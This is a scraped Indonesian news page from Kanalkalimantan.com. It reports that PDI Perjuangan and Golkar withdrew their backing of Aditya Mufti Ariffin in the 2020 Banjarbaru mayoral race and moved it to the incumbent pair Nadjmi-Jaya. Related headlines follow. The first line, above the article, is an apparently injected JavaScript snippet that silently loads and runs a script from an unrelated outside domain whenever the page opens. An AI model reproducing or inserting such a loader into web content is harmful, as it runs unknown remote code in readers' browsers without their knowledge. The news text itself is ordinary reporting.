(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Mundurnya bakal calon Wali Kota Banjarbaru, Aditya Mufti Ariffin, menghempaskan deretan gerbong partai politik (Parpol) yang selama ini telah mendeklarasikan dukungan kepadanya.
Sebagaimana diketahui, selama proses penjaringan, sudah ada tiga Parpol yang menyatakan dukungan untuk menyokong Aditya berpasangan dengan H AR Iwansyah. Ketiga Parpol itu ialah Golkar, PPP, dan PDI Perjuangan.
Berjalannya waktu, satu persatu dari ke tiga parpol ini mulai mengambil keputusan untuk mengurungkan dukungan. Seperti halnya yang terbaru ini, pernyataan sikap yang diambil oleh PDI Perjuangan.
Ketua DPC PDI Perjuangan Banjarbaru, Wartono, memastikan bahwa pihaknya telah mengurungkan dukungan kepada pasangan Adiitya-Iwansyah. Hal itu, usai dilakukannya pembahasan dalam rapat internal DPC PDI Perjuangan Banjarbaru dan DPD PDI Perjuangan Kalsel, pada Selasa (16/6/2020) siang.
“Kami sudah membahas dan menerima arahan langsung dari Ketua DPD PDI Perjuangan Kalsel, Bapak Maming. Dengan ini PDI Perjuangan menyatakan dukungan kepada pasangan pertahana (Incumbent) yakni Nadjmi Adhani – Darmawan Jaya Setiawan,” katanya kepada Kanalkalimantan.
Keputusan untuk mengalihkan dukungan kepada pasangan incumbent, diakui Wartono merupakan pertimbangan yang sudah sangat matang. Sebab, selama proses pejaringan beberapa waktu lalu, partai besutan Megawati ini memang telah membukakan pintu bagi pasangan Nadjmi-Jaya.
“Sebenarnya baik itu Aditya maupun Nadjmi, mereka adalah putra terbaik yang dimiliki kota Banjarbaru. Hanya saja, saat itu DPP PDI Perjuangan memutuskan untuk mendukung Aditya-Iwansyah. Nah, dengan mundurnya Aditya di Pilwali Banjarbaru, maka dukungan kami beralih ke Nadjmi-Jaya,” lanjut Wartono.
Sokongan dari partai berlambang kepala Banteng bermoncong putih ini, tentu semakin memperkuat mesin politik Nadjmi-Jaya untuk berlaga di panggung Pilwali Banjarbaru. Bahkan, kedekatan keduanya telah nampak saat Nadjmi-Jaya bersama jajaran pengurus DPC PDI Perjuangan Kota Banjarbaru sedang menikmati waktu luang di salah satu rumah makan.
Sebelum PDI Perjuangan, partai Golkar juga lebih dulu menyatakan sikap untuk mengalihkan dukungan. Supian HK, selaku Ketua Harian DPD Golkar Kalsel, mengatakan pihaknya telah mengusulkan kembali satu nama kandidat untuk didukung, yakni Nadjmi Adhani sebagai pasangan incumbent. “Saya tegaskan, bahwa dukungan Golkar di Pilkada Banjarbaru kepada pasangan incumbent Nadjmi-Jaya,†tegasnya. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.